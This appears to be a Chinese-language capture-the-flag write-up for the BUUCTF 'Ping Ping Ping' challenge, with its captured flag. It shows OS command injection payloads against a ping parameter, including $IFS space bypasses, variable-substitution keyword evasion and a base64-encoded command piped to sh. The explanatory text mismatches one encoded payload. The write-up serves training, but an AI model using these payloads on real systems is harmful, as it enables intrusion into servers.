BUU-WEB-Ping Ping Ping

BUU-WEB-Ping Ping Ping

根据页面提示,首先尝试构建payload

....?ip=127.0.0.1

BUU-WEB-Ping Ping Ping
尝试构建通过管道符构建payload

?ip=127.0.0.1|ls

BUU-WEB-Ping Ping Ping
发现flag.php,所以目标就是打开这个网页。
构建payload

?ip=127.0.0.1|cat flag.php

BUU-WEB-Ping Ping Ping
发现被过滤了。
尝试利用$IFS$1代替空格符。
构建payload

?ip=127.0.0.1|cat$IFS$1flag.php

BUU-WEB-Ping Ping Ping

依旧被过滤了。
(难道是flag被过滤了,尝试一下index可不可以)
构建payload

?ip=127.0.0.1|cat$IFS$1index.php

BUU-WEB-Ping Ping Ping
查看index主页,发现flag被过滤。
看了也别人的wp,发现最简单的方法就是变量替代。
为什么可以利用变量替代呢,因为源码中有个变量a。
BUU-WEB-Ping Ping Ping
通过给它赋值,在拼接字符串构建flag。

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag

还有一种方法就是通过base64加密,再解密执行。

cat /flag

base64加密为

Y2F0IC9mbGFn

payload为

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash

|bash就是执行前面的脚本。
但是这里bash被过滤了,用sh替换,目的一样,为了执行前面的脚本。
payload为:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

flag在源码的注释里。
BUU-WEB-Ping Ping Ping

flag{ae544713-19dc-4697-99d3-ee11d53e54b1}
上一篇:【贪玩巴斯】c++核心编程,你需要敲出这些程序 !(八){C++文件读写 全解 详解!} //2021-05-15


下一篇:C++ Primer第5版 第八章课后练习答案